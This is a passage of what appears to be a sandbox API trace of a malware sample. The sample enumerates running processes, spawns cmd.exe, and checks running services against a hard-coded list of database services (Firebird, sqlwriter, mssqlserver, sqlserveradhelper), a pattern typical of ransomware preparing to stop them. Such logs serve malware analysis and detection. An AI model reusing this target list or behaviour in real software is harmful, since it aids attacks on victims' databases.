th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.557] lstrlenW (lpString="lsass.exe") returned 9 [0163.557] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0163.558] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0163.558] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0163.558] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0163.558] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.559] lstrlenW (lpString="svchost.exe") returned 11 [0163.559] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.559] lstrlenW (lpString="svchost.exe") returned 11 [0163.559] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.560] lstrlenW (lpString="dwm.exe") returned 7 [0163.560] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.560] lstrlenW (lpString="svchost.exe") returned 11 [0163.560] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.560] lstrlenW (lpString="svchost.exe") returned 11 [0163.560] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.561] lstrlenW (lpString="svchost.exe") returned 11 [0163.561] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.561] lstrlenW (lpString="svchost.exe") returned 11 [0163.561] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.562] lstrlenW (lpString="svchost.exe") returned 11 [0163.562] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.562] lstrlenW (lpString="svchost.exe") returned 11 [0163.562] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.563] lstrlenW (lpString="svchost.exe") returned 11 [0163.563] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.563] lstrlenW (lpString="svchost.exe") returned 11 [0163.563] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.564] lstrlenW (lpString="svchost.exe") returned 11 [0163.564] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.564] lstrlenW (lpString="svchost.exe") returned 11 [0163.564] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.564] lstrlenW (lpString="spoolsv.exe") returned 11 [0163.565] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.565] lstrlenW (lpString="svchost.exe") returned 11 [0163.565] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.565] lstrlenW (lpString="audiodg.exe") returned 11 [0163.565] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0163.566] lstrlenW (lpString="sihost.exe") returned 10 [0163.566] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.566] lstrlenW (lpString="svchost.exe") returned 11 [0163.566] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0163.567] lstrlenW (lpString="taskhostw.exe") returned 13 [0163.567] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0163.567] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0163.567] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0163.568] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0163.568] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0163.568] lstrlenW (lpString="Memory Compression") returned 18 [0163.568] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.568] lstrlenW (lpString="explorer.exe") returned 12 [0163.569] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0163.569] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0163.569] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0163.569] lstrlenW (lpString="SearchUI.exe") returned 12 [0163.570] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0163.570] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0163.570] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0163.570] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0163.570] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0163.571] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0163.571] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0163.571] lstrlenW (lpString="cmd.exe") returned 7 [0163.571] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0163.572] lstrlenW (lpString="conhost.exe") returned 11 [0163.572] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0163.572] CloseHandle (hObject=0x4dc) returned 1 [0163.572] Sleep (dwMilliseconds=0x1f4) [0164.207] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408db50 [0164.208] EnumServicesStatusExW (in: hSCManager=0x408db50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0164.208] GetLastError () returned 0xea [0164.209] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x4047ca0 [0164.209] EnumServicesStatusExW (in: hSCManager=0x408db50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4047ca0, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4047ca0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0164.209] CloseServiceHandle (hSCObject=0x408db50) returned 1 [0164.210] lstrlenW (lpString="AppXSvc") returned 7 [0164.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0164.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0164.210] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0164.210] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0164.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0164.210] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0164.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.210] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0164.210] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0164.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0164.210] lstrlenW (lpString="Audiosrv") returned 8 [0164.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0164.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0164.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0164.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0164.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0164.210] lstrlenW (lpString="BFE") returned 3 [0164.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0164.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0164.210] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0164.210] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0164.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0164.210] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0164.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0164.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0164.211] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0164.211] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0164.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0164.211] lstrlenW (lpString="CDPSvc") returned 6 [0164.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0164.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0164.211] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0164.211] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0164.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0164.211] lstrlenW (lpString="ClickToRunSvc") returned 13 [0164.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0164.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0164.211] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0164.211] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0164.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0164.211] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0164.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0164.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0164.211] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0164.211] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0164.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0164.211] lstrlenW (lpString="CryptSvc") returned 8 [0164.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0164.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0164.211] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0164.211] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0164.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0164.211] lstrlenW (lpString="DcomLaunch") returned 10 [0164.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.211] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0164.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0164.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0164.212] lstrlenW (lpString="DeviceAssociationService") returned 24 [0164.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0164.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0164.212] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0164.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0164.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0164.212] lstrlenW (lpString="Dhcp") returned 4 [0164.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0164.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0164.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0164.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0164.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0164.212] lstrlenW (lpString="Dnscache") returned 8 [0164.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.212] lstrlenW (lpString="DPS") returned 3 [0164.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.212] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.212] lstrlenW (lpString="DusmSvc") returned 7 [0164.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0164.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0164.212] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0164.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0164.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0164.212] lstrlenW (lpString="EventLog") returned 8 [0164.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0164.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0164.213] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0164.213] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0164.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0164.213] lstrlenW (lpString="EventSystem") returned 11 [0164.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.213] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.213] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.213] lstrlenW (lpString="FontCache") returned 9 [0164.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0164.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0164.213] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0164.213] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0164.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0164.213] lstrlenW (lpString="gpsvc") returned 5 [0164.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.213] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.213] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.213] lstrlenW (lpString="iphlpsvc") returned 8 [0164.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.213] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.214] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.214] lstrlenW (lpString="KeyIso") returned 6 [0164.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0164.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0164.214] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0164.214] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0164.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0164.214] lstrlenW (lpString="LanmanServer") returned 12 [0164.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.214] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.214] lstrlenW (lpString="lfsvc") returned 5 [0164.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0164.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0164.214] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0164.214] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0164.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0164.214] lstrlenW (lpString="lmhosts") returned 7 [0164.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.215] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.215] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.215] lstrlenW (lpString="LSM") returned 3 [0164.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0164.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0164.215] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0164.215] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0164.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0164.215] lstrlenW (lpString="MpsSvc") returned 6 [0164.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.215] lstrcmpiW (lpString1="sqlwriter", 